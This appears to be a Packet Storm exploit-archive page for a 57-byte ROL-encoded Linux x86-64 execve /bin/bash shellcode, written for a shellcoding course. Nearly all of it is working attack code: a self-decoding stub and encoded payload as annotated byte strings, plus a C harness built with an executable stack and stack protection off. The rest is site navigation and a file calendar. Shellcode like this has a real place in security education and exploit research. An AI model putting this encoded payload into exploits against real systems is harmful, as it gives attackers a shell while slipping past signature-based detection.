exploit the possibilities

Linux/x64_86 ROL Encoded Execve Shellcode

Linux/x64_86 ROL Encoded Execve Shellcode
Posted Apr 24, 2020
Authored by Bobby Cooke

57 bytes small Linux/x64_86 /bin/bash shellcode. The stub decodes the ROL Encoded shellcode. When the stub has finished decoding the payload, execution control is passed to the payload.

tags | shellcode, bash
systems | linux
MD5 | 8dfa373d1ce188f0f22dd71251acb232

Linux/x64_86 ROL Encoded Execve Shellcode

Change Mirror Download
// Shellcode Title:  Linux/x64 - ROL Encoded Execve Shellcode (57 bytes)
// Shellcode Author: Bobby Cooke
// Date: 2020-04-24
// Tested On: Kali Linux 5.3.0-kali3-amd64 x86_64
// Description: Encoded Execve /bin/bash shellcode for Linux x64_86 systems.The stub decodes the ROL Encoded shellcode. When the stub finished decoding the payload, execution control is passed to the payload.
// SLAE/Student ID: PA-10913
// Course: This shellcode was created for the x86_64 Assembly Language and Shellcoding on Linux (SLAE64) Course offered at pentesteracademy.com.
// Shoutout: skape, vivek, offsec, corelan
// Usage:
// root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
// root# echo $$ | xargs ps
// PID TTY STAT TIME COMMAND
// 3067 pts/3 Ss 0:00 /bin/bash
// root# ./shellcode
// Shellcode Length: 57
// root# echo $$ | xargs ps
// PID TTY STAT TIME COMMAND
// 3501 pts/3 S 0:00 [bash]

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\xeb\x0d" // jmp short call_decoder
// decoder:
"\x5e" // pop rsi = &String
// decode:
"\xd0\x0e" // ror byte [rsi], 1
"\x80\x3e\x55" // cmp byte [rsi], 0x55 - last byte? ror 0xaa, 1 = 0x55
"\x74\x0a" // je Shellcode - End? Jump to shellcode!
"\x48\xff\xc6" // inc rsi - Not end? move 2 next byte
"\xeb\xf4" // jmp short decode - loop 2 decode next byte
// call_decoder:
"\xe8\xee\xff\xff\xff" // call decoder // go 2 decode loop
// Execve(/bin/bash) ROL Encoded Shellcode
"\x90\x62\xed\x90\xef\xcd\x90\x62\xff\xae\x90\x07\x85"
"\xd0\xa4\x90\x75\x5e\xc4\xd2\xdc\x5e\xc4\xc2\xe6\xa4"
"\x90\x62\xa5\x90\x13\xcf\x61\x76\x1e\x0a\xaa";

int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Login or Register to add favorites

File Archive:

April 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    17 Files
  • 2
    Apr 2nd
    2 Files
  • 3
    Apr 3rd
    2 Files
  • 4
    Apr 4th
    0 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    15 Files
  • 7
    Apr 7th
    20 Files
  • 8
    Apr 8th
    16 Files
  • 9
    Apr 9th
    5 Files
  • 10
    Apr 10th
    0 Files
  • 11
    Apr 11th
    0 Files
  • 12
    Apr 12th
    4 Files
  • 13
    Apr 13th
    15 Files
  • 14
    Apr 14th
    27 Files
  • 15
    Apr 15th
    19 Files
  • 16
    Apr 16th
    7 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close